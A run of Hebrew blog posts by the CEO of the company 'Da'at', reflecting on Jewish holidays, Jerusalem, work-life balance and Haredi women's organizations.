כמה ימים לאחר מכן ארגן הולופנס משתה, אליו הזמין את יהודית במטרה לפתותה. במהלך המשתה נשארו הולופרנס ויהודית לבד, והולופרנס היטיב לבו במאכלי חלב וגבינה שהביאה עימה. מליחות הגבינה הגבירה את צימאונו של הולופרנס והוא הרבה לשתות יין. לאחר זמן לא רב השתכר הולופרנס לגמרי, נפל על מיטתו ושקע בתרדמה עמוקה. במכת חרב מהירה אחת הסירה יהודית את ראשו מעליו ושבה אל העיר כשהיא נושאת אותו בתרמילה. עם בוקר, כשגילו חייליו של הולופרנס את גופתו נאחזו בהלה גדולה, נמלטו מהמקום, והעיר בתוליה הכריזה על ניצחונה במלחמה. מותו של הולופרנס הוביל לתשועה גדולה לעם ישראל, והוא נקשר לחג החנוכה בשל ניסיונותיו של נבוכדנצר להעביר את עם ישראל על דתו, בדומה לשלטון היוונים. לפי גרסה אחרת, שמה של יהודית הוא כשמה של בתו של מתתיהו המכבי, וכך נוצר הקשר לחנוכה.

סיפורה של יהודית מזכיר מאוד את סיפורה של יעל. אומץ הלב, התחכום, הנחישות, השימוש בתחבולות וגם שתיית החלב חוזרים בשני הסיפורים. סיפורים אלה נותנים מקום של כבוד גם לנשים ולמעורבותן הפעילה במאורעות החשובים של העם היהודי לדורותיו; נשים בודדות שבאומץ לבן ובחוכמתן הצליחו להערים על גדולי המפקדים ולהכריע גורלות.

מעמדן של נשים השתפר מאוד לאורך הדורות. היום, שלא כמו בתקופת התנ"ך, כדי להשפיע ולהיות מעורבות, נשים אינן צריכות לסכן את חייהן, לפעול לבד או לנקוט בתחבולות ערמומיות. היום עובדות חברת "דעת" הן חלק בלתי נפרד ממארג החברה ומשוק העבודה בישראל, והן נוטלות חלק שווה בעשייה ומפגינות מיומנות מקצועית שאיננה נופלת מזו של גברים. ולבסוף, חג החנוכה הוא הזדמנות לשוב ולחגוג את חירותנו שנקנתה בגברותם של גברים ונשים כאחד.

חג אורים שמח.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post חג החנוכה וגבורתה של יהודית appeared first on דעת.

אני מעלה בדמיוני את מראה הלהבות ומהרהרת… גם כשהנר קטנטן וגם כשהשמן בכוסית או-טו-טו נגמר, הלהבה שומרת על גודל יציב. למתבונן מן הצד אין כל דרך לדעת כמה שעווה-שמן-זמן נותר לנר לבעור. רוב השלהבות בוערות היטב עד שלפתע הן עוצרות, מפרפרות וכבות באחת (אם כי יש גם מעט פתילות שעוברות בסופן תהליך גסיסה איטי וממושך, מפיצות עשן ובוערות בגחלת זעירה עד שהן גוועות).

מסופר על רבי ישראל סלנטר שעבר ברחוב בשעת לילה מאוחרת וראה סנדלר שעדיין עסוק במלאכתו. רבי ישראל סבר שכבר מתאים היה לסגור את החנות וללכת לישון; ובפרט כשנכנס לבית המלאכה וראה שהסנדלר עובד לאור נר שלא נותר ממנו כי אם טיפ-טיפה – עוד מעט ייגמר וייכבה מאליו, מאותת שנגמר עוד יום.

הוא שאל את הסנדלר לפשר עבודתו בשעה המאוחרת כל כך.

ענה לו הסנדלר במשפט שנחקק בתודעתנו לנצח, משפט שהוא תמים אך בו זמנית גם עמוק ומשמעותי: "רבי, כל זמן שהנר דולק אפשר לתקן".

רבי ישראל לקח את המשפט כלקח מעשי מאד לחיים: כל עוד נר נשמתו של האדם חי, אפשר לתקן.

המחשבה היהודית מתייחסת בהרחבה רבה לדמיון שבין הנר והאדם, היונק מן הפסוק "נר ה' נשמת אדם". בהכירי את התפיסה הזו, עלו בדעתי שתי נקודות מעניינות.

כמו הנר, ששומר על תפקוד מלא ואור אחיד עד לרגע האחרון, גם הסנדלר לא התעסק עם ממד הזמן, לא התעניין בתהליכי המעבר בין העבר, ההווה והעתיד או בשאלה כמה זמן נותר לו – אלא חי חיים של עשייה מלאה ושל ניצול אופטימלי. הזמן מבחינתו היה רק מסגרת, אותה קידש ומילא ביצירה, בתיקון, בחיים. הוא לא בזבז אף רגע. המשיך בשגרה הברוכה, המעשירה, עד תומה – ואם זכה, קם למחרת לעוד יום מלא.

אם רק אוכל גם אני לחיות כך, בניצול מלא של כל יום כל רגע וכל שעה….

ונקודה נוספת. האמירה של הסנדלר באמת תמימה. הרי לא כל דבר אפשר לתקן! העולם מלא בפגמים, בפגעים, בקשיים, בהזדמנויות שהוחמצו ובמציאות שלא תמיד מאירה פנים ונעימה.

אבל הנר כאילו אינו מכיר בכך. הוא מאיר לכל המצבים, לכל התיקונים ולכל ההתמודדויות באור שווה. האור שלו נשאר בהיר וזך, הוא כאילו מתעלם מן המציאות הסובבת אותו, נאחז בעקשות ובהתמדה בפתילה וממשיך לשאוף כלפי מעלה. איך הוא עושה את זה???

ייתכן שסודו של הנר הוא שהוא אינו בררן. הוא מוכן לבעור מתוך שמן זית או פרפין טהור, מתוך שמן סויה או שמן דגים ואפילו מתוך דלק או נפט. מכולם הוא מצליח להפיק אנרגיה של אור, של חום, של התעלות.

וכמו הנר, כך גם האדם. גם הוא מסוגל להפיץ אור וחום ולשמור על זקיפות קומה, מתוך כל חומר בעירה שהחיים מזמנים לו, בכל המצבים ואל מול כל המאורעות. לא להילחם בהם, אלא לקבל אותם. לשהות בהם. לחוש אותם. להטמיע בנפשו את המסרים שלהם. לקבל את החולי, גם כשהוא סופני; לקבל את הזקנה כחלק מהחיים; לקבל את העוני, את הלבד, את כל יתר ניסיונות החיים; לקבל מצבים שאינם נעימים לי, ללמוד לחיות אתם ולעבור מתחושה של מציאות בלתי-רצויה לתחושה שאפשר להאיר גם מתוך המצב הזה. לקבל את העובדה שלא כל הרצונות שלי יתגשמו ולהבין שלא תמיד חייבים להבין למה העולם מתנהל דווקא כך ולמה דווקא אני. לקבל ולהשלים עם המציאות.

בעיניי המקום הזה של ההשלמה, הוא הוא העלייה כלפי מעלה, כלפי דמות האדם שאני שואפת להיות.

תודה למיכל חברתי על הסיוע בגיבוש המחשבות

חנוכה שמח!

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post או-טו-טו חנוכה. appeared first on דעת.

אני זוכרת שקראתי את זה וחייכתי לעצמי. חשבתי שהיא עוד רחוקה מהתחתית שלי – באותה תקופה, לחמם את אותה כוס קפה במיקרו פעם שנייה ושלישית היה הסטנדרט שלי.

ביום חמישי האחרון זה קרה שוב.

טניה המסורה הגיעה לארגן את המשרד בסוף היום. היא ראתה אותי יושבת ליד השולחן, ושוב לצידי כוס קפה קר, ושאלה בעדינות: "להכין לך קפה חדש?"

הקפה הקר הוא העדות לחיים שקורים.

עניתי לה שחבל. שזה כבר הקפה השלישי שאני שופכת היום אחרי שחומם שוב ושוב ושוב. ובאותו רגע, נזכרתי באותו טור ישן.

אבל הפעם, המחשבה הייתה אחרת לגמרי.

פעם, כוס קפה קרה הייתה סימן לכישלון ניהול זמן, לעייפות קיצונית, למרוץ עכברים סיזיפי. אבל היום? אחרי הקורונה, אחרי המלחמה, אחרי ימים שבהם השקט היה רועש מדי והיומן היה ריק ומפחיד – למדתי להסתכל על הקפה הקר שלי אחרת.

הקפה הקר הוא העדות לחיים שקורים.

הוא ההוכחה לכך שהיום שלי מלא. שיש לי מטלות בבית ובמשרד, שיש אנשים שצריכים אותי, שיש עשייה "בפנים" ו"בחוץ". הוא הסימן לכך שהעולם מסתובב, שהעסק חי, שהמשפחה נושמת.

אז כן, הקפה שלי שוב התקרר כי נכנסה שיחה חשובה, או כי הילד היה צריך עזרה, או כי פשוט הייתי עמוקה בתוך עבודה משמעותית.פעם קראתי לזה "תחתית". היום אני קוראת לזה זכות.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post מה למדתי מכוס קפה שחוממה שלוש פעמים במיקרו? ☕ appeared first on דעת.

החג שחותם את סדרת חגי תשרי הוא שמיני עצרת, והפעם החלטתי להתמקד בו. כפי ששמו מעיד עליו, זהו חג של עצירה והשהייה – של המתנה רגעית לקראת היציאה לשנה חדשה ולקראת החזרה לשגרה. שמיני עצרת מכין אותנו לקראת הבאות, ולכן מבחינה זו יש לו חשיבות רבה ביותר.

שמיני עצרת במקורות
בספר ויקרא, בפרק כ”ג נכתב: “…ביום השמיני מקרא קודש יהיה לכם והקרבתם אשה לה’ עצרת הוא, כל מלאכת עבודה לא תעשו”. בספר במדבר, פרק כ”ט ניתנת הוראה דומה: “ביום השמיני עצרת תהיה לכם, כל מלאכת עבודה לא תעשו”. משמעותו המילולית של המונח “עצרת” היא “עצירה” וגם “כינוס”. לפי הכתוב, ביום שמיני עצרת יש לעצור הכול, לחדול מעבודה עוד יום אחד, להתכנס ביחד ולחגוג בשמחה. רק לאחר מכן ניתן להמשיך הלאה.
היום חוגגים ביום שמיני עצרת את שמחת תורה – החג בו מסיימים לקרוא את כל חמשת חומשי התורה. שמחת סיום קריאת התורה היא גם הכנה לקראת קריאה חוזרת של חמשת ספרי התורה המתחילה בפרשת “בראשית”.

משמעות החג
משמעותם של ראש השנה, יום הכיפורים וסוכות ברורה. אך מה משמעות אותה עצירה או המתנה של שמיני עצרת?
בתקופת בית המקדש הוקרבו במהלך ימי חג הסוכות שבעים פרים למען כפרתן ושלומן של כל אומות העולם. חז”ל פירשו, כי לאחר העיסוק האינטנסיבי בענייני העולם כולו, ביקש הבורא ביום שמיני עצרת לעצור לרגע אינטימי נוסף עם החוגגים, ממש כמו אב המתקשה להיפרד מבניו ומבקשם להתעכב עמו עוד מעט. אמנם לכאורה עצירה של יום נוסף איננה משנה דבר, אך העצירה ביום שמיני עצרת איננה סתם עיכוב טריוויאלי. עצירה זו עוצרת עמה גם את הקדושה והכוח שהצטברו במהלך החגים, משמרת אותם ומאפשרת להם להאיר מעתה והלאה על כל ימות השנה. זמן זה מקל על הפרידה מכל הטוב שבחגים, ואף מסייע לשוב לשגרת החיים בכוחות חדשים.

צוות עובדות חברת “דעת” מאחל לכם ולבני משפחותיכם חג שמיני עצרת שמח ושנה מלאה אור ושפע.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post רגע לפני שתקופת החגים חולפת: שמיני עצרת appeared first on דעת.

בניגוד למצוות אחרות, שבהן נאמר "לפום צערא אגרא" (לפי הצער – השכר), בסוכה קיים דין ייחודי לפיו "מצטער פטור מן הסוכה"‏‏, כלומר אדם שהשהות בסוכה גורמת לו לצער ועגמת נפש, פטור ממנה. הרמב"ם, למשל, מציין שאדם שאינו יכול לישון בסוכה בשל הרוח או הזבובים והפרעושים פטור מלקיים את המצווה‏.

ומנגד, מובא בגמרא, שלעתיד יבואו אומות העולם בטענה לבורא העולם שאם היו מחויבים במצוות, הרי היו מקיימים אותן. ובורא עולם יציע להם לקיים את המצווה הלכאורה קלה ביותר, ישיבה בסוכה. בסך הכל לשבת, בצל, בתחילת הסתיו. היש נעים ויפה מזה? ואז, יוציא הבורא חמה מנרתיקה, כבתקופת תמוז, ו "כל אחד בועט בסוכתו והולך לו".
בעצם, מה קורה פה? האם התורה וההלכה מכילה אותנו ואת הקושי שלנו לשבת בסוכה ופוטרת לא רק את מי שקשה לו, כגון חולה, אלא גם את מי שהישיבה בסוכה מצערת אותו, ואילו, לאומות העולם באים בטענות על הקושי לשבת בסוכה בשיא החום?

תשובה אחת היא תגובת האדם. היהודי יוצא מהסוכה ואילו האדם מאומות העולם, בועט בסוכתו בדרך החוצה. הבעיטה מראה כעס וזלזול כלפי מצוות הסוכה.

אבל השבוע חשבתי על תשובה אחרת.
חתונה, לידה, בר/בת מצווה ואפילו סעודות חג והחג המשמח ביותר, חג הפורים, כולם כרוכים בהמון מאמץ פיזי, התארגנות, עמידה בלחץ, קניות, התרצצות, הוצאות כספיות ועוד ועוד. אבל כאשר אנחנו עושים את כל ההכנה בשמחה, הקושי לא רק שלא נחשב, הוא גם לא מורגש.
סוכות הוא חג שמחתינו. בסוכות מופיע הציווי לשמוח. אדם שמצליח לקיים ציווי זה, לא יחוש בקושי ובאי נוחות של ישיבה בסוכה. ולא יגיע למצב של מצטער. כלומר, לא רק אופן היציאה מהסוכה היא ההבדל בינינו לבין אותו אדם מאומות העולם, אלא גם צורת הכניסה והמקום הרוחני ממנו אני נכנסת.

בשמי ובשם כל עובדות דעת, חג סוכות שמח.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post ברוך אתה בבואך appeared first on דעת.

אחת ממטרותיו של כל חג היא להותיר בנו את חותמו, על מנת שנגיע למצב בו לאחר החג נמשיך בדרכנו עם מטען חדש שהוסיף לבניין הרוחני שלנו. אכן, החג הסתיים, ימיו הספורים חלפו, אך הוא השאיר בנו חותם, ומעתה אנו מצוידים בתוספת חדשה הקשורה ללקחיו העמוקים של החג. וכך צריך המצב להיות בכל חג ובכל מועד.

ומה בקשר לחופש הגדול?
האם בסיום החופש נסמן "וי" וננשום לרוחה? "עוד חופש עבר. כולם בריאים ושלמים. עשינו את זה". במקרה זה, אמנם ניתן להשתמש בביטוי "החופש עבר עלי"… אך אפשר גם אחרת. ייתכן, כי ילדי ירוויחו החופש חוויות חדשות של לימוד והתנסות, הייחודיות רק לחופש. לדוגמה: החשיבות של תכנון סדר היום גם כאשר לא קיימים לחצים או מחויבויות, הערך של השמירה על המסגרת ויחד עם זאת, ההנאה . שבגמישות ובחוסר המחויבות, היכולת ליהנות מלא לעשות כלום, ההנאה מלימוד לשם הלימוד עצמו ללא קשר לציונים, להכרח או למורים, היכולת להחליט לבד מה לעשות היום ויתרונות רבים נוספים הייחודיים רק לחופש, הכול בהתאם לילד ולבית.

החופש הגדול איננו חג ואיננו מועד. ערכו הרוחני הוא לא מובן מאליו, אלא הוא פועל יוצא מההשקעה שמשקיעים בו, הן במובן החיובי והן במובן השלילי. היהדות נותנת מקום לסוגים שונים של "חופש", כאשר משמעות החופש איננה בזבוז זמן אלא שינוי מסגרת. אפילו המשפט, "שינה בשבת תענוג", איננו מתפרש כפשוטו אלא כ"שינוי" – הלימוד בשבת שונה מהלימוד בימות החול. השינוי בשבת הוא התענוג: הלימוד ללא לחץ של זמן וללא עיסוקי היומיום המטרידים, ומתוך מקום של "נשמה יתירה". לשינוי מסוג זה ישנו ערך גדול ביותר.

אחת ממטרותיו של כל חג היא להותיר בנו את חותמו, על מנת שנגיע למצב בו לאחר החג נמשיך בדרכנו עם מטען חדש שהוסיף לבניין הרוחני שלנו. אכן, החג הסתיים, ימיו הספורים חלפו, אך הוא השאיר בנו חותם, ומעתה אנו מצוידים בתוספת חדשה הקשורה ללקחיו העמוקים של החג. וכך צריך המצב להיות בכל חג ובכל מועד.

הבחירה להסתכל על החופש כשינוי מסגרת בעל ערך חיובי, אמנם, לא תמנע בהכרח משפטים, כדוגמת: "אימא משעמם לי" או את המשאלה, הכמוסה של כל אחת מהאימהות, לקיצור החופש הגדול, אך היא בהחלט מקלה עלי את ההתמודדות ומאפשרת גם לי, כאימא, להתרכז ביתרונות החופש הגדול ולא בחסרונותיו.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הערך המוסף של החופש הגדול appeared first on דעת.

האומנם?

כשאני חושבת על חופש, אני חושבת על שעות איכות עם עצמי, זמן לחלום, להירגע, להיות ללא טרדות.

אני חולמת על שהייה בחברת ילדי ללא מיילים וטלפונים, ללא דאגה לסדר וניקיון ושאר טורדנים שתמיד מצייצים לי בראש.

זו שנתי ה-11 בה תקופת החופש הגדול היא התקופה העמוסה ביותר בעבודתי. השנה, כשהתחלתי לחשוב על התוכניות לחופש ובדקתי את לוח השנה, גיליתי שפשוט אין באפשרותי לבצע ולו 10% מהן. במבט לאחר, מעולם לא הצלחתי לבצע יותר מאשר חלק קטן ביותר מכל אותן תוכניות שתכננתי.

את "החופש הגדול" של ילדותי מחליף היום "שבוע החופש" שיום אחד אחליט לקחת, ושניהם נתפסו תמיד בעיני כמועד בו אבצע את כל התוכניות, שהרי אין כחופש – בו אני "משוחררת" מכל עול, לוח זמנים ומחויבות – כדי לעשות את כל הדברים המחייבים זמן פנוי, אותם לא הצלחתי עד כה לעשות באמת.

לפני כחודש נסעתי לפגישת עבודה לכתובת לא מוכרת בתל אביב. כשהמונית עצרה גיליתי את עצמי מול הטיילת. נזכרתי בתוכנית הלא ממומשת שלי מזה שנים, ישיבה מול הים בעת שקיעה עם כוס משקה קר, והחלטתי שעם סיום הפגישה, אצא לחופשה של רבע שעה מול הים. שעתיים לאחר מכן, כיוונתי שעון עצר ל15 דקות והתחלתי לנפוש עם בקבוק שתיה קלה ביד אחת, ותיק העבודה מוחבא היטב מתחת לכסא. ניקיתי את ראשי מכל מחשבה, התרכזתי בבריזה, בשמש החמימה, בריח המלח ותו לא.

20 דקות מאוחר יותר, ישבתי במונית בדרך חזרה למשרדי דעת, והבנתי שאני בדרך לשינוי. הבנתי שהסוד הוא לעשות. לא לחכות, לא לחופש הגדול ולא לחופש קטן. לשלב את אותם רגעי חופש תוך כדי החיים עצמם. לפנות מידי פעם כמה שעות ולהשקיע אותם בעצמי ובבני משפחתי. להחליט על יום חופש אחד מדי תקופה שינוצל בצורה שתתאים ביותר באותו יום עצמו: בין לפעילות ובין למנוחה ולרגיעה. לחיות את החופש ולא לחכות לו.

ובמילים אחרות, בשביל להרגיש חופש, לא צריכים דווקא חופשה.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post הדעה של דעת – למה לחכות לחופש? appeared first on דעת.

ירושלים תחת שלטון המנדט הבריטי. באו"ם מתקבלת הצעת החלוקה. על פי ההצעה יחולק שטחה של ארץ ישראל למדינה יהודית ולמדינה ערבית. ירושלים תהיה עיר בינלאומית הנשלטת בידי מושל מטעם האו"ם ומועצת תושבים. מיד לאחר ההחלטה פורצים קרבות בירושלים ובערים המעורבות, ביישובים היהודיים ובצירי התנועה בכל רחבי הארץ. בתום מלחמת השחרור מחזיקה ישראל בחלקה המערבי של העיר ובהמשך מכריזה על ירושלים כבירתה של המדינה הצעירה. במשך 19 שנה נותרת ירושלים הבירה כעיר חצויה. "העיר אשר בדד יושבת ובלבה חומה".

כ"ח באייר תשכ"ז.

במהלך מלחמת ששת הימים ישראל מחזירה לשליטתה את חלקי העיר המזרחיים שהוחזקו עד אז בידי הירדנים. לשטחה של ירושלים נוספים שטחים רבים ובהם גם שכונות וכפרים ערבים. האו"ם אינו מכיר בסיפוחה של מזרח העיר.

למעשה, למרות שחרורה ירושלים נותרת מחולקת. מערב העיר נחשב לשטח יהודי בעוד יהודים שמתגוררים במזרח העיר מוגדרים "מתנחלים", כאילו אינם גרים בלבה של בירת ישראל.

התקשורת מספרת על עיר ששיעור החרדים והערבים באוכלוסייתה הולך וגדל בהתמדה, וכבר אינה מהווה בית טבעי לעם ישראל על כל פלגיו. הכתבות מתארות עיר אשר חצויה בין מזרח ומערב, עיר שבליבה חומה לאומית, רעיונית ומגזרית.

האם ירושלים, העיר שמסמלת אחדות, אכן חצויה?

למה ירושלים תמיד שתים ?

לָמָּה יְרוּשָלַיִם תָּמִיד שְתַּיִם, שֶל מַעְלָה וְשֶל מַטָּה
וַאֲנִי רוֹצֶה לִחְיוֹת בִּירוּשָלַיִם שֶל אֶמְצַע
בְּלִי לַחְבֹּט אֶת רֹאשִי לְמַעְלָה
וּבְלִי לִפְצוֹע אֶת רַגְלַי לְמַטָּה.

וְלָמָּה יְרוּשָלַיִם בְּלָשוֹן זוּגִית כְּמוֹ יָדַיִם וְרַגְלַיִם,
אֲנִי רוֹצֶה לִחְיוֹת רַק בִּירוּשָל אַחַת,
כִּי אֲנִי רַק אֲנִי אֶחָד וְלֹא שֲנַיםִ

(יהודה עמיחי)

למה ברבים? שואל עמיחי, למה אי אפשר להסתפק באחת?

במדרשי חז"ל ירושלים מוצגת כמעט תמיד כנקודת חיבור – המאחדת את ירושלים של מטה עם ירושלים של מעלה, מחברת בין יראה ושלום, מתבטאת בין אדם לא‑לוהיו וגם בין אדם לחברו, מדברת אל המח ונוגעת בלב, ירושלים של העבר וזו של העתיד – 'עיר שחוברה לה יחדיו'.

דומה שיש בירושלים כמיהה ויכולת, רצון וכוח, שחותרים ללא לאות לאחד ולחבר בין חלקים שונים, ואם בכל זאת הפירוד גובר, העיר אינה עומדת בכך; מאליו מתרחשים הקרע, החלוקה, החורבן.

קיץ 2016.

אזור המרכז מהביל. לאן נוסעים לנשום אויר? לירושלים.

העיר שוקקת חיים. יהודים, נוצרים וערבים, דתיים וחילונים ועוד זן אחד. ירושלמים.

לא, אינני מתכוונת לאנשי שכונה או כת כזו או אחרת על לבושם האותנטי… אני מתכוונת לאנשים המיוחדים המאחדים ומכילים בתוכם את כולנו. אנשים שלמתבונן מבחוץ נראים כסתירה מהלכת, כשילוב של תרבויות, אולם על פניהם נהרה של אמונה בצדקת הדרך וחיוך של סובלנות.

אנשים שמחברים לה יחדיו. ירושלמים שמשלימים את התמונה, ויחד עם הקדושה, האווירה והאבנים תורמים להפוך את ירושלים למה שהיא.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post לָמָּה יְרוּשָלַיִם תָּמִיד שְתַּיִם? appeared first on דעת.

עכשיו הראש נקי מטרדות ההכנות של ערב החג, ואפשר למלא אותו בתוכן אחר, תוכן מעשיר אשר מוציא את הטוב מתוכנו.

חירות: שלח את עמי – ויעבדוני

בפסח השתחררנו מעולו של פרעה, אך לא יצאנו אל חיים ללא עול, אלא לחיים תחת עולו של בורא עולם.

למה אנחנו מגדירים מצב אחד כעבדות ומצב שני כחירות?

לשאלה זו קיימות תשובות רבות, אשר כולן מסבירות את התפיסה שאותה השתעבדות לבורא עולם משחררת אותנו מההשתעבדות לאפנות, גחמות, ודברים נוספים מעשה ידי אדם.

ובהתייחס לפסח, מצב אחד מגולם באחד משמות החג, "חג החירות". אך מה משמעות "חג האביב" והאם שם זה מתקשר לנושא של עבדות מול חירות?

הקשר בין שמות החג “חג החירות” ו”חג האביב”

חג הפסח נחוג גם כחג האביב, והתורה מצווה עלינו לשמר זאת, כלומר לוודא שפסח יחול תמיד בעונה זו. מדוע ציווי זה המקשר בין חג לעונה מסוימת ניתן דווקא בפסח? מדוע אין אנחנו מצווים למשל לשמר את סוכות כחג הסתיו?

את התשובה לכך ולקשר של "חג האביב" לעבדות-חירות, אפשר למצוא דרך התבוננות בתפיסת הזמן.

שליטה מול אי שליטה בזמן

אנחנו חיים בעולם מתוכנן, בו לוחות הזמנים ידועים מראש. אדם יושב ומתכנן מה יעשה היום, מחר ובשבוע הבא, מכין טבלאות הספק לפי ימים, חודשים ואולי אפילו שנים, ומרגיש שהכול בשליטה. האמנם?

הרצון לשלוט הוא רצון חיובי. היכולת לתכנן ולפעול לפי התכנון, מעניקה לאדם שליטה באחד מהמשאבים היקרים ביותר שיש לו – הזמן.

התפיסה המערבית בה הכל מתוכנן מראש באה לידי ביטוי בלוח השנה השמשי – לוח השנה הנוצרי. בלוח שנה זה הכל ידוע מראש.

העולם האסלאמי לעומת זאת מציג תפיסת עולם הפוכה בלוח השנה הירחי אשר בו הוא עושה שימוש. לוח שנה זה מתייחס רק למהלך הירח בכל חודש – התחדשות והיעלמות – ואין לו שום קשר לעונות השנה. לפי לוח זה לא ניתן לתכנן כמעט שום דבר עתידי, והוא מבטא למעשה השלמה עם מציאות המורכבת מעליות וירידות אשר אינן תלויות באדם, אלא בגורמים חיצוניים כמו גורל.

לוח השנה העברי מהווה שילוב בין שני הלוחות, כלומר בין לוח השומר על עונות השנה – כמו הלוח השמשי – לבין לוח ירחי, אשר קשוב למעגל ההתחדשות הטבעי הירחי. לוח השנה העברי נכתב אמנם ונתפש כמו לוח השנה נוצרי – כדבר קבוע וידוע מראש. אך יחד עם זאת הוא משלב את המסר שביכולתנו לשלוט בזמן ולקבוע מתי יחול ראש החודש ועיבור השנה, וכי אין זה הזמן אשר שולט בנו.

קביעה מוחלטת של הזמן מראש, מעניקה אשליה של שליטה, אך למעשה גורמת לשעבוד. רק מי שקשוב למציאות, רק מי שיודע שהכל בשליטתו של בורא עולם, ושאנו פה בכדי לעובדו, ישלוט בזמן ויהיה בן חורין אמיתי.

אחד מהיסודות עליהם בנינו את דרך העבודה ב”דעת” הוא עמידה בלוחות זמנים, וכן יום עבודה בן מספר שעות קבועות מראש. אנחנו עומדות ב-deadline מבלי “לקדש” אותו, וכן מבלי לשנות את אורח החיים וסדר העדיפויות שלנו בשביל לעמוד בו – וזה מצליח!

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post חירות במירוץ נגד הזמן appeared first on דעת.

לכבוד יום האישה הבינלאומי, החלטתי לבחון את נושא ארגוני הנשים בחברה החרדית. אמנם קיימים מספר ארגונים של נשים חרדיות, אך ארגונים אלו אינם מגדירים את עצמם כארגוני נשים. במאמר זה אנסה לבדוק מדוע.

ארגון הוא קבוצה אנושית הפועלת לשם הגשמת מטרה משותפת, ובעלת מטרות מוגדרות המהוות את סיבת קיומה.

מטרות ארגוני נשים כלליים אל מול מטרות ארגונים המופעלים על-ידי נשים חרדיות:
ארגון נשים מאופיין באופן כללי בכך שמטרתו היא קידום והעצמת מקומה ומעמדה של האישה בחברה. מימוש מטרה זו יכול להתבצע באמצעות פעילויות שונות, החל בקידום התפתחות אישית וקריירה, וכלה בכמעט כל תחום פעילות כמו הקמת מעונות לילדים ועשייה למען הקשישים בחברה.
מאחר ונשים חרדיות אינן מוכנות לאמץ קו אידיאולוגי אשר מצוי מחוץ לתורה, חיזוק מעמד האישה לא יכול להוות קו מנחה או מטרה בארגוני נשים אלו. על-כן, ארגוני נשים חרדיות הינם ארגונים המופעלים על-ידי נשים המגדירים את פעילותן כמטרה עצמה, כדוגמת “בת מלך” – ארגון המפעיל מקלטים לנשים מוכות חרדיות ודתיות או “ניצ”ה” – ארגון לנשים הסובלות מדיכאון שלאחר לידה, ורבים אחרים.
מטרתם של ארגונים אלו הינה השטת עזרה לכל אדם באשר הוא אדם, ובמקרה זה לכל אישה. בדומה לארגוני חסד חרדיים אחרים, כדוגמת “יד שרה” – ארגון התנדבותי העוזר לחולים, ארגונים אלו אינם מגזריים.

לכבוד יום האישה הבינלאומי, החלטתי לבחון את נושא ארגוני הנשים בחברה החרדית. אמנם קיימים מספר ארגונים של נשים חרדיות, אך ארגונים אלו אינם מגדירים את עצמם כארגוני נשים. במאמר זה אנסה לבדוק מדוע.

"העצמה נשית" מול "חסד"

הנשים החרדיות אינן מחפשות אחר יציאה אל מחוץ למסגרת, להיפך, הן רוצות לבטא את עשייתן בתוך ביתן וקהילתן (זוהי אגב סיבת הצלחתם של מקומות עבודה כדוגמת "דעת"). כמו-כן, העיניים החרדיות, תופשות את הנפת דגלי ה"העצמה" וה"שיויון" כאקט מוחצן ולא הכרחי.

נשים חרדיות המשתייכות לארגונים חרדיים בכלל ו/או לארגוני נשים חרדיות בפרט, עושות בפועל לא פחות מנשות "אמונה" או "ויצו", ולא בפחות התלהבות, מסירות, מימוש עצמי וסיפוק. אך הכותרת אשר עומדת בראש מעשיהן הינה כותרת אחרת – "חסד".

נילי דוידוביץ | מנכ"ל דעת

